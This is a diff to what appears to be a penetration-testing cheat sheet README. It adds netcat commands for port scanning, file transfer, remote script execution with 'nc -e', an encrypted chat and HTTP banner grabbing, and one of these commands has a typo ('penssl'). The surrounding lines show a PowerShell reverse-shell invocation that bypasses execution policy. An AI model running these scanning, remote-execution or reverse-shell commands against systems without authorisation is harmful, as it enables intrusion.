adding netcat tricks

README.md

@@ -250,6 +250,87 @@ Nmap verbose scan, runs syn stealth, T4 timing, OS and service version info, tra
 
 * [Nmap Discovery](https://nmap.org/nsedoc/categories/discovery.html)
 
+
+##
+
+#### NetCat
+
+##### Port Scanner
+
+One port
+
+```shell
+nc -nvz 192.168.1.23 80
+```
+
+Port Range
+
+```shell
+nc -vnz 192.168.1.23 0-1000
+```
+
+##### Send files
+
+* Server
+
+```shell
+nc -lvp 1234 > file_name_to_save
+```
+
+* Client
+
+```shell
+nc -vn 192.168.1.33 1234 < file_to_send
+```
+
+##### Executing remote script
+
+* Server
+
+```shell
+nc -lvp 1234 -e ping.sh <IP>
+```
+
+* Client
+
+```shell
+nc -vn 192.168.1.33 1234
+```
+
+##### Chat with encryption
+
+* Server
+
+```shell
+ncat -nlvp 8000 --ssl
+```
+
+* Client
+
+```shell
+ncat -nv 192.168.1.33 8000
+```
+
+##### Banner Grabbing
+
+```shell
+nc target port
+HTTP_Verb path http/version
+Host: url
+```
+
+```shell
+nc www.bla.com.br 80
+HEAD / HTTP/1.0
+Host: www.bla.com.br
+```
+
+##### If this site uses https you need to use openssl
+
+```shell
+penssl s_client -quiet www.bla.com.br:443
+```
+
 ##
 
 ### Reverse Shell
@@ -267,7 +348,6 @@ function reverse_powershell {
 ```powershell
 powershell -ExecutionPolicy bypass -command "Import-Module reverse.ps1; reverse_powershell"
 ```
-
 ##
 
 ### Resources